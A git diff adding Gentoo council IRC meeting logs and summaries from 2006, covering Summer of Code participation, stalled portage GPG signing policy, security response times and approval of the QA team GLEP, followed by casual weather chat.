+19:14 <@cshields> I could glep that we all get $100k/yr for doing gentoo, and it may sound good and have rationale behind it, but without a plan to implement it will probably never happen  :)
+19:14 <@Koon> I vote yes on that one
+19:14 <@SwifT> who knows
+19:14 <@vapier> details that the portage team is cool with ... but from genone's e-mails, seems they wont have much trouble with it
+19:15 -!- spb [n=spb@gentoo/developer/spb] has quit [Client Quit]
+19:15 -!- spb [n=spb@gentoo/developer/spb] has joined #gentoo-council
+19:15 <@vapier> has infra weighed in on it ?
+19:15 <@Koon> cshields ^
+19:16 <@cshields> vapier: most of us are in favor of the concept (cause we get bit in the ass when something changes drastically and we're not aware..)
+19:16 <@dsd_> does ciaran regard it as complete? there may be a reason it hasnt been properly submitted
+19:16 <@cshields> but, we aren't going to have to write the code behind it either  ;)
+19:16 <@agriffis> it looks like only goodness for infra, not much required on their end and lots of benefit.
+19:16 <@vapier> dsd_: he posted it as "final draft"
+19:16 <@Koon> dsd_: it's just a little late
+19:16 <@cshields> agriffis: exactly
+19:16 <@dsd_> k
+19:16 <@vapier> and he said "he'd like for it to come our way soon"
+19:17 <@cshields> so I guess my question is, was ciaranm's proposal such that he would do the work for it?
+19:17 <@agriffis> anyway, it should be enough for now to say that we're in favor but where is the implementation plan, who is going to do the work, etc?
+19:17 <@cshields> agreed
+19:17 <@dsd_> agreed
+19:18 <@Koon> yes, those precisions might raise interesting questions
+19:18 <@agriffis> this is looking like a nice short meeting.
+19:19 <@Koon> OK, any more comment on glep 42 ?
+19:19 <@Koon> or we can open up traditional Q&A
+19:19 <@vapier> i got nothin more, looks like the previous flame threads covered 42 well
+19:20 <@Koon> I've that concern about active maintainers falling below critical mass as far as security work is concerned, but I guess we can put that in Q&A
+19:20 <@Koon> ok, opening up
+19:20 -!- mode/#gentoo-council [-m] by Koon
+19:21 <@vapier> someone mentioned that the monthly cronjob e-mail i send out is too late
+19:21 <@vapier> i was thinking of a pre-pre-e-mail
+19:21 <@Koon> good idea
+19:21 <@vapier> to be sent out like the 25th of each month
+19:21 <@Koon> we could send it now :)
+19:21 <@SwifT> =)
+19:21 <@SwifT> only two weeks until the deadline :)
+19:22 <@vapier> 25th work ?
+19:22 <@SwifT> so something like "deadline is today"
+19:23 <@Koon> I'm a little concerned about the current state of our maintainers. I feel we fell below critical mass and now it takes too much time (from security PoV) to get fixes in. Someone proposed that a QA team with teeth could be called in that cases
+19:23 <@Koon> we used to have a 48 hours maximal turnout to get fixed ebuilds
+19:23 <@Koon> those days it's more like a week
+19:24 <@vapier> so if a maintainer fails to cover a security bug within 48 hours, the QA team is allowed to handle it ?
+19:24 <@Koon> add to that arch stableization work and low manpower in security... and we fall behind major distros
+19:24 <@Koon> I don't say that's a solution, I just want to know if you noticed the same problem
+19:25 <@SwifT> is it because we are losing maintainers or because our ebuild set is increasing?
+19:25 <@Koon> Our last solution, the hall of shame on #gentoo-dev, didn't solve anything :)
+19:25 <@Koon> it's because we are losing active maintainers
+19:25 <@Koon> (IMHO)
+19:25 <@agriffis> I don't mind the idea of letting a group handle security bugs if the maintainer isn't paying attention, but I don't like the phrase "QA team with teeth" at all.
+19:25 <@dsd_> fwiw, i've been thinking about the topic of opening the developer community recently, with the aim of increasing contribution flow. its a big thing to think about though
+19:25 <@vapier> nobody reads /topic in channels
+19:26 <@cshields> especially #-dev
+19:26 <@Koon> we used to have sufficient new blood to cover maintainers going stale
+19:26 <@cshields> the /topic is a novel there
+19:27 <@Koon> well, security can't force maintainers to do their homework... and with low manpower can't hunt them down everytime
+19:27 <@Koon> vapier: take the games herd for exmaple :P
+19:27 <@vapier> yeah, i have those labeled in my TODO e-mail box :P
+19:27 <@vapier> but i have a lot in that box
+19:28 <@SwifT> mine is symlinked to /dev/null
+19:28 <@Koon> we/I used to be sufficiently active to remind everyone passing by IRC to do their work... but not anymore
+19:28 < Halcyon> I didn't intend on QA to fix security issues.  I figured the security team would handle that portion of "QA".
+19:28 <@Koon> and some people just don't pass by IRC
+19:29 <@vapier> a weekly gentoo-dev e-mail reminder /
+19:29 <@Koon> tss
+19:29 < Halcyon> And you guys will have that proposal maybe by the next meeting to go over :)  (for the QA team)
+19:29 <@Koon> that's not something that will be solved today, just so that you know that we are slowly falling behind
+19:30 <@Koon> sometimes even mandriva releases advisories before us. (shame)
+19:30 <@vapier> ouch
+19:30 <@Koon> vapier: fedora legacy is still behind us though :)
+19:31 <@Koon> and Ubuntu's always first
+19:31 <@SwifT> :)
+19:31 <@Koon> what would I do if I was a millionaire
+19:31 <@SwifT> stop spending time with Gentoo? :)
+19:32 <@Koon> OK, any more rant/question ?
+19:32 <@Koon> Halcyon: about security team, we usually don't have portage commit rights
+19:32 <@agriffis> Koon: it would be good to get a little more raw data regarding the stuff you're bringing up.
+19:33 <@agriffis> Koon: rather than just a feeling, I mean numbers, averages, comparisons with other distros, typical blocking factors (again with numbers), etc.
+19:33 <@SwifT> I wxant my 100I want my $100k
+19:33 <@SwifT> err
+19:33 <@SwifT> stupid network
+19:34 <@cshields> SwifT: you'll have to glep that..
+19:34 <@Koon> agriffis: I have a script that extracts out-of-delay GLSAs for each month
+19:34 < Halcyon> Koon: hmm, then we might be able to work something out where the QA team could commit on your behalf, but we also don't have enough manpower to handle everything as well :)
+19:34 <@Koon> We used to be 85% intime, that fell down to 50% and I didn't ru nthe stats for last month yet
+19:34 < Halcyon> Koon: you publish these stats online somewhere?
+19:35 <@SwifT> Koon: what about a GWN request for interested parties? or a security tester team?
+19:35 <@Koon> the script also ranks the arches from most quick to slowest
+19:35 < Halcyon> Koon: I'd be interested to see that :)
+19:35 <@Koon> heh
+19:35  * Koon tries to find that script again
+19:36 <@cshields> I'd recommend using events like LWE to recruit people.  A lot of high-end users just don't realize that they too can contribute.
+19:36 <@cshields> vapier: you'll be there, right?  ^^
+19:37 < Halcyon> There will be a few of us :)
+19:37 <@agriffis> Koon: That's the kind of data I'm talking about.  Get that published somewhere (the data, not the script, nobody else is going to run it) and keep enhancing it to include more information, graphs over time, etc.
+19:37 <@Koon> I have to do some searches to find that script. Some perl that goes iver Bugzilla changelogs
+19:37 <@agriffis> Koon: I think that would be very interesting.
+19:37 <@Koon> agriffis: ok will do
+19:38 < Halcyon> Koon: I'd like to see if the x86 team helped with x86's response time at all.
+19:38 < Halcyon> I'm sure the arch teams would like to know how well they are responding.
+19:38 <@Koon> Halcyon: yes it did. x86 was usually not top-ranked, now it is
+19:39 <@cshields> gentlement, I have to run.  thanks for letting me sit in for solar
+19:39 <@vapier> i'll be at LWE
+19:39 <@vapier> i gotta jet as well
+19:39 <@vapier> poof
+19:39 -!- vapier [i=UserBah@wh0rd.org] has left #gentoo-council []
+19:40  * Koon just got that script again
+19:41 <@Koon> misses a few perl modules and should be ready to go
+--- Log closed Thu Mar 09 19:42:25 2006
+--- Log opened Thu Mar 09 19:42:57 2006
+19:42 -!- dsd_ [n=dsd@cpc1-with3-3-0-cust110.bagu.cable.ntl.com] has joined #gentoo-council
+19:42 -!- Irssi: #gentoo-council: Total of 13 nicks [5 ops, 0 halfops, 0 voices, 8 normal]
+19:43 -!- Irssi: Join to #gentoo-council was synced in 34 secs
+19:43 <@Koon> argh, where the fuck is LWP-UserAgent
+19:44 <@Koon> anyway I'll post more when I run those scripts
+19:44 <@Koon> gtg
+19:44 -!- agriffis [n=agriffis@gentoo/developer/agriffis] has left #gentoo-council []
+19:44 <@Koon> someone please post the log and summary
+19:45  * Koon does no logs
+19:45 <@Koon> I usually prefer to forget
+19:45 -!- Koon [n=koon@gentoo/developer/Koon] has quit ["*plop*"]
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060420-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20060420-summary.txt
new file mode 100644
index 00000000..fef03891
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060420-summary.txt
@@ -0,0 +1,7 @@
+The agenda included Gentoo's participation in Google's Summer of Code
+and an update on portage gpg signing.  In the former case, Gentoo has
+applied to participate, and assuming we get one of the handful of
+remaining slots then gerrynjr will be Gentoo's "organization
+admininstrator" (with userrel's help) for the project.  In the latter
+case, council developement of a reasonable key policy has stalled, and
+they are soliciting GLEPs to help solve the problem.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060420.txt b/xml/htdocs/proj/en/council/meeting-logs/20060420.txt
new file mode 100644
index 00000000..18e250dc
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060420.txt
@@ -0,0 +1,155 @@
+19:00 <@g2boojum> Thank you all for being here.  Today's agenda includes (1) Google's Summer of Code, (2) an update on portage gpg signing, and (3) the usual developer floor.  We'll start w/ the Summer of Code.  gerrynjrserver?
+19:00 -!- spb [n=spb@gentoo/developer/spb] has joined #gentoo-council
+19:00 -!- g2boojum changed the topic of #gentoo-council to: meeting at 1900UTC (proxies swift->fox2mike vapier->josejx az->uberlord||halcy0n agriffis->g2boojum) | Topic: Google SOC
+19:00 < gerrynjrserver> well, I'd like to propose that gentoo sign up to join google's summer of code
+19:01 < gerrynjrserver> if done, it would fall under the fairly new userrel subproject
+19:01 < gerrynjrserver> seems like it will be an excellent pr opportunity and would possibly allow us to get some fresh, energetic developers in
+19:02 < gerrynjrserver> I would definitely be willing to take on a lead position for this project
+19:02 -!- agriffis [n=agriffis@gentoo/developer/agriffis] has joined #gentoo-council
+19:02 -!- mode/#gentoo-council [+o agriffis] by ChanServ
+19:02 <@agriffis> hey g2boojum, I made it back in time (I think)
+19:02 <@Koon> g2boojum: impostor !
+19:02 <@agriffis> heh
+19:02  * agriffis just walked in
+19:02  * g2boojum continues to chair the meeting, but no longer votes.
+19:03 < gerrynjrserver> this would entail overviewing proposed projects, maintianing a page of ideas developers have proposed, as well as keeping a list of possible mentors
+19:03 <@agriffis> if you'd like, I can just duck back out :-)
+19:03 < gerrynjrserver> would also ensure student summer of coders get thier review mid way
+19:03 < gerrynjrserver> process shoould go this way
+19:03 < gerrynjrserver> -students should be familiar with gentoo
+19:03 <@Koon> gerrynjrserver: is there a point in catacting Google before we get a final list of projects ?
+19:03 <@Koon> contacting
+19:04 < gerrynjrserver> yes
+19:04 < gerrynjrserver> contact has actually already been made
+19:04 <@g2boojum> gerrynjrserver: You're willing to be Gentoo's "organization administrator", then? (http://code.google.com/soc/mentorfaq.html#2)
+19:04 < gerrynjrserver> g2boojum: indeed
+19:04 <@g2boojum> agriffis: No, please do stay!
+19:04 < gerrynjrserver> contact has been mde by the userrel project, as it was thought that if we wait, it would be too late
+19:04 < gerrynjrserver> and considering gentoo is shooting down most applications now, it was probably a wise decision
+19:05 < nattfodd> s/gentoo/google/
+19:05 < gerrynjrserver> (only 4 seats now remain, and we still do not yet know if we have been accepted)
+19:05 < gerrynjrserver> but, we have not yet received a "denial" notice as most other new signups have received
+19:05 < gerrynjrserver> nattfodd: thanks 8-)
+19:05 <@Koon> gerrynjrserver: OK. When should the final list of projects be sent ? May 1st ?
+19:06 < gerrynjrserver> yes
+19:06 < gerrynjrserver> the following week students will be allowed to submit thier applications as well as ideas
+19:06 < nattfodd> we also need a firm list of mentors by then
+19:06 < gerrynjrserver> nattfodd: yes
+19:07 <@g2boojum> Okay, any other questions from council members?
+19:08 <@Koon> gerrynjrserver: Like I said, I approve that project, but a look on the list of proposed projects would be nice, even if I trust you to remove the non-worthy ones
+19:08 < gerrynjrserver> Koon: of course
+19:08 < gerrynjrserver> i've jsut been notified that gentoo is still on the "maybe" list
+19:08 < gerrynjrserver> with two seats available
+19:09 < gerrynjrserver> so.. still nto shot down
+19:09 < gerrynjrserver> *not
+19:09 < gerrynjrserver> (thanks christel)
+19:09 <@g2boojum> Otherwise I'm going to suggest a vote on giving this an official "go-ahead".
+19:09 <@Koon> gerrynjrserver: They decide  based on the org and not the project if I understand correctly
+19:09 < gerrynjrserver> Koon: yes
+19:09 <@Koon> voting yes for the go-ahead
+19:09 < gerrynjrserver> i'd also request that a mailinglist be setup for this purpsoe
+19:10 < gerrynjrserver> if we are accepted 8-)
+19:10 <@solar> that wont be a problem. just file an -infra bug
+19:10 < gerrynjrserver> will do
+19:11 <@g2boojum> Is anybody actually opposed?
+19:11 <@agriffis> sounds okay to me
+19:11 -!- Irssi: #gentoo-council: Total of 13 nicks [7 ops, 0 halfops, 0 voices, 6 normal]
+19:11 <@JoseJX> I think it's a good idea to try to be involved.
+19:11 <@Koon> and also a good trhing that someone stepped up to organize everything
+19:12 <@g2boojum> fox2mike, seemant?
+19:12 <@Koon> good ideas are common, good ideas with people to support them is better
+19:12 < gerrynjrserver> Koon: thanks for the compliment 8-)
+19:14 <@solar> just try todo it right and not get us rejected from future SoC events for failing to follow up properly this summer. try accept ideas that are realistic and benefit *linux* vs just say gentoo.
+19:14 < gerrynjrserver> solar: I will try
+19:14 <@seemant> I'm all for it,
+19:14 <@seemant> but yes @ solar's caveats
+19:15 <@g2boojum> Okay, that's a strong majority.  Moving on to the next item, gpg signing in portage.  Koon?
+19:15 <@Koon> gerrynjrserver: ideally, a backup organizer would be good, in case Real Life [tm] sucks you away
+19:15 < gerrynjrserver> Koon: i've got christel 8-)
+19:16 < gerrynjrserver> as a co-lead
+19:16 < nattfodd> and there's also bonsaikitten_ and me ready to help wherever needed
+19:16 < gerrynjrserver> nattfodd: nod
+19:16 <@Koon> We were supposed to do regular updates on progress on the portage tree signing functionality
+19:16 <@Koon> There is not much progress to report on. It's a good idea but it lacks someone to push it
+19:17 <@solar> status on it as far as I understand is still at a stalled process. The method of trust itself is not being solved
+19:17 <@Koon> We @security still receive new bugs on that problem
+19:17 <@Koon> solar: we are still waiting on key policy and web of trust
+19:18 <@fox2mike> hey
+19:18 <@g2boojum> Koon: I thought the council was drafting the key policy and web-of-trust.
+19:18 <@fox2mike> sorry, I was fiddling with NetworkManager :|
+19:18 <@Koon> I would go back to the simple-but-better-than-nothing one, since robbat2 didn't follow up on his proposal
+19:18 <@fox2mike> g2boojum: here now, representing Swift
+19:18 <@g2boojum> fox2mike: Thanks, good to have you.
+19:19 <@Koon> The simple-but-better-than-nothing was discussed in a previous managers meeting from before the council time
+19:20 <@fox2mike> g2boojum: and I'm for the SoC thingy (if I'm allowed to express opinion on Swift's behalf) :)
+19:20 <@Koon> master key distributed with media and downloadable from the web used to authenticate the dev keyring
+19:20 <@g2boojum> fox2mike: Absolutely.  Thanks.
+19:20 <@Koon> no need to enter complicated mutual signing if we can't even do that one
+19:21 <@Koon> and dev keyring maintained by devrel
+19:22 <@g2boojum> Anybody else have anything to add on signing?
+19:22 <@Koon> I just can't see any success here without someone stepping up to lead that part
+19:22 <@Koon> unfortunately I already have trouble in doing my current job so I won't do it
+19:23 <@g2boojum> Koon: Someone on the council, or just someone in general?
+19:23 <@seemant> wouldn't it be ideal for a security team member to take the lead on it?
+19:23 <@Koon> I'd say someone in general, with bones to take the usual -dev discussions there are when we discuss signing
+19:24 <@Koon> seemant: there isn't much availability in the sec team, same as me
+19:24 < nattfodd> what would it imply?
+19:24 <@Koon> Even if recitment is in progress with a few promising peeps
+19:24 <@Koon> recruitment
+19:25 <@seemant> Koon: and is there remaining development needed on the portage side of things?
+19:25 <@seemant> or at this point is it just choosing a system and implementing a policy?
+19:25 <@Koon> nattfodd: do proper GLEPs and take the heat from gentoo-dev (saying do your own GLEP and have the council choose rather than trying to please everyone)
+19:25 <@seemant> oh
+19:25 <@solar> yes. eclasses are not signed. repoman still allows unsigned commits. and the entire portage tree is not signed
+19:26 <@solar> now if we are using a single key. then it sounds like devs should not have to worry about signing at all. and it's all done from the cvs commit hooks
+19:26 <@g2boojum> seemant: The portage folks are waiting on a policy to finish implementation.  There's a framework in place, though.
+19:27 <@Koon> seemant: On that subject there are as much possibilities and proposals as there are people subscribed on -dev. And proposals are usually non-compatible. But telling people to formalize it in GLEP usually results in 0 GLEPs
+19:27 <@JoseJX> How many devs are signing now?
+19:27 < nattfodd> Koon: I might be interested in doing that
+19:27 < nattfodd> just need to go through those -dev discussions
+19:27 <@solar> 60% of the tree is signed afaik
+19:28 <@Koon> solar: we would still use dev keys, the master key would just authenticate the dev keyring, which would be downloaded with portage
+19:28 <@Koon> that was the plan back then, and I still have to see a better and simpler proposal
+19:29 <@Koon> emerge --sync would verify integrity of the dev keyring as part of the sync process
+19:29 <@Koon> using a trusted master key seeded by install media / web download
+19:29 <@Koon> you can even update the master key that way
+19:30 <@Koon> nattfodd: you should also look back at those old managers meetings logs
+19:30 <@Koon> where the thing was sorted out after the last -dev flamefest on the subject
+19:31 < nattfodd> Koon: will do
+19:31 <@Koon> back then the problem was "how do we maintain the keyring" and LDAP fud
+19:31 <@seemant> nattfodd: do we assume you're taking this on?
+19:31 <@g2boojum> Okay, then that discussion can move to the mailing list.  Open floor for devs (not that it wasn't already).
+19:32 <@Koon> seemant: he will at least consider the option of taking this on :)
+19:32 -!- g2boojum changed the topic of #gentoo-council to: meeting at 1900UTC (proxies swift->fox2mike vapier->josejx az->uberlord||halcy0n agriffis->g2boojum) | Topic: Signing drifing into an open floor.
+19:32 < nattfodd> seemant: not yet, I have no background on this topic so need to check first that I *can* do it
+19:32 < nattfodd> but I'll try to
+19:34 <@Koon> nattfodd: if you need some details feel free to send an email my way
+19:34 <@Koon> No more questions ?
+19:35 < nattfodd> Koon: ok, I'll certainly do that
+19:35 <@solar> I have no open questions and I wish you guys good luck getting gentoo-SoC off the ground.
+19:36 <@g2boojum> Any other topics?
+19:36 < christel> sorry, i was er, doing soc stuff for one of my other projects, yes, i believe its a good idea to go for it (lots of free pr and all that) and i'm afraid that due to it being 4 places left at time of applying and things occsionally taking a while around here i er, took a seemant advice and went a backway :)
+19:36 <@fox2mike> any update on anoncvs/svn? Last I heard it was ready?
+19:36 <@Koon> nattfodd: it's mostly a job of coordinating a lot of people : devrel for the keyring and key policy (expiration, length...), portage guys to improve integration etc
+19:36 <@Koon> also the releng team to include master key in...
+19:36 <@g2boojum> fox2mike: ask infra?
+19:37 <@Koon> sounds a little like "Mission: Impossible" so good luck, Jim
+19:37 < christel> as for SoC status, they are hoping to let us know if accepted or declined by monday :)
+19:37 <@fox2mike> g2boojum: been doing that for months now
+19:38 < tove> i am still curious if there will be a trustees election this year. maybe one of the trustees here knows?
+19:38 <@Koon> There will be a council election for sure... we were talking of using the same timeframe as last year, voting over July-August
+19:38  * solar votes for everybody that's already a trustee to remain one
+19:38 <@g2boojum> tove: Wrong forum, but yes, there will.  I'll send out an e-mail to -nfp this weekend.
+19:39 < tove> g2boojum: why should this be the wrong forum?
+19:39 <@Koon> because we don't touch trstee stuff, it's slimy
+19:39 <@g2boojum> tove: Because the Gentoo Council and the Gentoo Foundation are completely separate entities.
+19:40 <@seemant> tove: trustees and council have different areas of responsibility -- as such this meeting is a council (development) meeting, rather than a foundation one
+19:40  * Koon disappears
+19:41 <@g2boojum> Anything else?
+19:41 <@g2boojum> Going...
+19:41 -!- tove [n=tove@p54A61CF9.dip0.t-ipconnect.de] has quit ["leaving"]
+19:41 <@g2boojum> Going...
+19:41 <@seemant> Gone
+19:41 <@solar> thanks g2boojum and others
+19:41 <@g2boojum> Meeting adjourned.  Thanks for coming.
+--- Log closed Thu Apr 20 19:42:09 2006
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060511-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20060511-summary.txt
new file mode 100644
index 00000000..93932fd9
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060511-summary.txt
@@ -0,0 +1,6 @@
+In today's meeting, the QA-team GLEP (48) was brought into the field. 
+The GLEP discusses the role of the QA team and its powers and was accepted
+by the gentoo-dev participants with little to no objections. The council 
+therefore had only a few questions (can a single QA member act - yes, does
+it only work on the tree or on documentation too - tree currently) and 
+accepted the GLEP for execution by 5 votes and 1 abstained.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060511.txt b/xml/htdocs/proj/en/council/meeting-logs/20060511.txt
new file mode 100644
index 00000000..aa38482d
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060511.txt
@@ -0,0 +1,89 @@
+19:14 <@SwifT> shall we start the meeting, or adjourn it till next thursday?
+19:16 <@seemant> spanky's on his way
+19:16 <@seemant> finally got him
+19:18 <@seemant> agriffis goes straight to voicemail
+19:18 <@seemant> that makes what? 4 of us when spanky gets in
+19:18 <@seemant> wait, solar's here too
+19:18 <@seemant> so 5
+19:22 <@SwifT> anyone mind me asking already something about the QA-glep?
+19:23 < Halcy0n> That's why I was sticking around.  I have to leave soon to go home, so ask me now :P
+19:23 <@SwifT> it's about some red tape; "the qa team" can, if the maintainer doesn't reply soon, take action... what is "the qa team"? any member or a set of members?
+19:24 < Halcy0n> Any member
+19:24 < Halcy0n> And to protect against any one person from doing something stupid, there is the additional clause about disagreements within the team.
+19:24 <@SwifT> is the qa team just about the packages or does it also work on project sites, documentation and the like?
+19:25 < Halcy0n> The team's primary concern (currently) is the tree.  That could always change later on, but right now, no.
+19:26 <@SwifT> will someone of the team ever fill out the qa project site so that it contains a description, goals ? :)
+19:26 < Halcy0n> Well, the GLEP is basically the description :)  I hope to get the devmanual up there somehow soon as well.
+19:28 -!- vapier [i=UserBah@wh0rd.org] has joined #gentoo-council
+19:28 -!- mode/#gentoo-council [+o vapier] by ChanServ
+19:28 -!- agriffis [n=agriffis@gentoo/developer/agriffis] has joined #gentoo-council
+19:28 -!- mode/#gentoo-council [+o agriffis] by ChanServ
+19:28 < Halcy0n> And our subprojects are probably the things that will have goals.  I'm not sure overall what QA would have as a goal besides to "improve stuff" :)
+19:29 <@agriffis> hey, you all arrived early!
+19:29 <@SwifT> glep looks fine by me otherwise; especially since it is hard to interprete it the "I will own you all"-way. Good timelines/guidelines and putting less 
+               easy decisions somewhere higher
+19:30 <@vapier> we're discussing the QA stuff i assume
+19:30 <@SwifT> I was just asking some questions like "tree or docs/site as well" (tree atm) and "the qa team can do stuff -> team is any member"
+19:33 <@SwifT> anyone else having questions about the QA-glep?
+19:34 <@solar> I have no objections to g48.. I'd maybe reword s/look out for the best interests of all developers, as well as our users/look out for the best interest 
+               of the tree/
+19:34 <@solar> but thats not a big deal
+19:36 <@vapier> i think at this point, if the QA team gets out of hand we can reel them in quickly
+19:36 <@az> seems fine to me .. just wondering why if the QA team and dev do not agree, it is changed at all before the council meeting
+19:36 <@az> just seems counter productive if the council is going to go the dev's way
+19:37 <@SwifT> if its serious breakage, I'm sure no-one else (except the maintainer) would disagree
+19:37 <@SwifT> (that it is changed up front)
+19:37 <@az> i dont think it will reach the council if it was serious breakage
+19:37 <@SwifT> :)
+19:37 <@solar> note. we empowered the QA team todo these very things some time ago. One of our first council meetings if I recall.
+19:38 <@seemant> in principle I have no problems with the glep at all -- I hope that it is implemented well and does in fact improve QA
+19:38 <@seemant> solar: yeah, except we had no QA team back then
+19:38 <@solar> we had people on the qa alias. We have always been fixing things that we saw fit
+19:39 <@vapier> we had no team
+19:39 <@solar> but nod.. Nothing offical before
+19:39 <@seemant> yeah we had people on the alias
+19:39 <@vapier> being on an alias a team does not make
+19:39 <@seemant> yep
+19:39 <@solar> it's still the same people
+19:39 <@solar> so really nothings changed :p
+19:39 <@seemant> solar: not quite -- I would Halcy0n has gone in and galvanised a team together
+19:39 < Halcy0n> solar: also, not everyone on the alias is listed as a team member.
+19:39 <@seemant> solar: he's basically taken the reins -- nobody actyually did that before
+19:39 <@solar> seemant: yeah I know. I'm on it
+19:39 <@seemant> and I can not spell
+19:40 <@SwifT> perhaps the authority of the team lead (for adding additional members) could be moved to a team decision?
+19:42 < Halcy0n> SwifT: as I saw it, the team picks the lead, so instead of making it an entire process, I figured they could just trust who they chose :)
+19:43 <@SwifT> just proposing... it looks like something some people might want to counter in the glep
+19:44 <@SwifT> but I wouldn't mind; after all, in larger environments it is too the manager that gets the decision
+19:44 <@SwifT> seemant: note that I can't make well-formed English sentences
+19:45 <@vapier> Halcy0n: so was everything on the mailing list that devs brought up resolved to satisfaction ?  seems like the last thread went well
+19:46 < Halcy0n> vapier: as far as I'm aware, yes.  THe last thread actually stayed on topic, so I was happy :)
+19:48 <@seemant> well, then I vote to approve the glep
+19:49 <@SwifT> i'm in favor
+19:50 <@agriffis> Am I able to abstain?  If not, then I'll vote in favor, but I have to admit I'm just going with teh flow.  I haven't kept up with the recent 
+                  discussion around this GLEP.
+19:51 <@agriffis> (I mean that I haven't read the ML lately)  :-|
+19:52 <@SwifT> sure
+19:53 <@solar> is this the vote?
+19:53 <@SwifT> well yes, yes is it
+19:53 <@solar> yes
+19:55 < Halcy0n> Well, since you guys are done asking me question, I have to run.  Thanks :)
+19:55 <@SwifT> thanks for being here 
+19:55 <@az> yes
+19:55 <@az> and if nothing else, im off ... ?
+19:56 <@SwifT> unclosed foot-wall
+19:57 <@SwifT> no other questions?
+19:57 <@solar> I have no questions.
+19:58 <@SwifT> me neither
+19:58 <@solar> thanks for taking the time to establish that glep to make things official Halcy0n
+20:00 <@SwifT> I'll put the logs online and mail -core, okay?
+20:00 <@solar> who was the chair ?
+20:00 <@solar> great thanks swift
+20:00 <@SwifT> no-one, who needs one anyway when we have SEATS !!
+20:00 <@SwifT> muhahahaha
+20:00  * SwifT needs a coffee
+20:13 <@SwifT> hey wait, vapier, you didn't vote yet :p
+20:15 <@vapier> i said yes
+20:15 <@vapier> in my head
+20:15 <@SwifT> ah, that was that voice I heard
+
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060615-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20060615-summary.txt
new file mode 100644
index 00000000..6fcfa4f8
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060615-summary.txt
@@ -0,0 +1,12 @@
+- GLEP49/GLEP50/Alternate package managers:
+both GLEP49 and GLEP50 are inappropriate solutions.  the new proto-tree idea
+spawned by spb on the gentoo-dev mailing list looks like the correct path to
+move forward, so he will be doing the footwork and ironing out the details 
+with the portage team.
+
+- sunrise status:
+one of the basic ideas of sunrise (opening up the dev process to newcomers) is 
+wholeheartedly supported by the council.  however, the current implementation 
+details are found to be lacking and the community concern is much too great 
+to ignore.  so the project will stay suspended indefinitely until all such 
+concerns can be fully addressed.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20060615.txt b/xml/htdocs/proj/en/council/meeting-logs/20060615.txt
new file mode 100644
index 00000000..f56ccc51
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20060615.txt
@@ -0,0 +1,550 @@
+20:33:16 -!- brix [n=brix@gentoo/developer/brix] has joined #gentoo-council
+20:33:16 -!- Topic for #gentoo-council: http://www.gentoo.org/proj/en/council | June 15th 1900 UTC - Alternative Gentoo package managers and Sunrise discussions.
+20:33:16 -!- Topic set by solar [] [Thu Jun 15 17:40:20 2006]
+20:33:16 [Users #gentoo-council]
+20:33:16 [@Koon    ] [ AllanonJL|W ] [ e-Hernick   ] [ hparker ] [ nattfodd] [ Stuart   ] 
+20:33:16 [@seemant ] [ Arek        ] [ fox2mike    ] [ hydrogen] [ Peper   ] [ tcort    ] 
+20:33:16 [@solar   ] [ Blackb|rd   ] [ frilled     ] [ jokey   ] [ petenj  ] [ tomaw    ] 
+20:33:16 [@SwifT   ] [ bonsaikitten] [ frilled|home] [ marienz ] [ pioto   ] [ tove     ] 
+20:33:16 [@vapier  ] [ brix        ] [ genone      ] [ matje   ] [ Ramereth] [ zmedico  ] 
+20:33:16 [+g2boojum] [ christel    ] [ genstef     ] [ mpagano ] [ rumen   ] [ |mpagano|] 
+20:33:16 -!- Irssi: #gentoo-council: Total of 36 nicks [5 ops, 0 halfops, 1 voices, 30 normal]
+20:33:16 -!- Channel #gentoo-council created Sun Mar  5 00:07:56 2006
+20:33:17 -!- Irssi: Join to #gentoo-council was synced in 1 secs
+20:33:20 < nattfodd> being an erasmus student helps a lot
+20:33:55 < bonsaikitten> nattfodd, being a foreigner in every individual part of europe does not help
+20:34:06 < Blackb|rd> In a related note, Brits are plain crazy, like any isand folk. Go look at the Japanese! Ther must be something to it.
+20:34:18 < Blackb|rd> (plus: my typing sucks)
+20:34:59 < matje> lol
+20:35:12 < Stuart> heh
+20:35:22 < tomaw> Hey!
+20:35:29 < matje> well, I was there a few months ago
+20:35:31 < nattfodd> Blackb|rd: icelandic people look pretty sane
+20:35:35 < nattfodd> or maybe not
+20:35:40 < matje> been a while since I actually had to go to the bank to change money :)
+20:35:45 < Blackb|rd> nattfodd: they're clearly odd, still.
+20:35:57 < nattfodd> yeah, they use 11th century swedish
+20:36:11 < bonsaikitten> Blackb|rd, yeah, they consider to be 20C "very hot"
+20:36:19  * bonsaikitten inverts word order
+20:36:19 < nattfodd> bonsaikitten: it *is* very hot
+20:36:30 < bonsaikitten> nattfodd, 25C right now and it's just ok
+20:36:42 < matje> it was 34 here 2 days ago :)
+20:36:56  * nattfodd suspects about 20/22C and I find it really hot
+20:37:05 < Blackb|rd> $ weather.py EDLN|grep Temp
+20:37:06 < Blackb|rd> Temperature: 16.0 C / 60.0 F
+20:37:14 < Blackb|rd> And it's supposed to be summer 'round here.
+20:37:40 < nattfodd> 16C is nice summer temperature
+20:37:49 < nattfodd> where are you?
+20:38:05 < Blackb|rd> nattfodd: NW Germany
+20:38:24 < matje> 16C is a nice winter temperature!
+20:38:35 < matje> or spring/fall
+20:38:44 < matje> but it's just plain cold for the summer :p
+20:38:48 < bonsaikitten> hehe
+20:38:57 < Blackb|rd> nattfodd: http://maps.google.com/maps?t=k&hl=en&ie=UTF8&ll=51.177083,6.46378&spn=0.001544,0.003304&om=1
+20:39:03 < bonsaikitten> 35C is perfect, you don't need to generate heat then
+20:39:10 < matje> lol
+20:39:16 < bonsaikitten> reptile ...
+20:39:33 < nattfodd> actually 19C
+20:39:34 < matje> as long as the air isn't too moist and there is a breeze, 35 isn't too bad :)
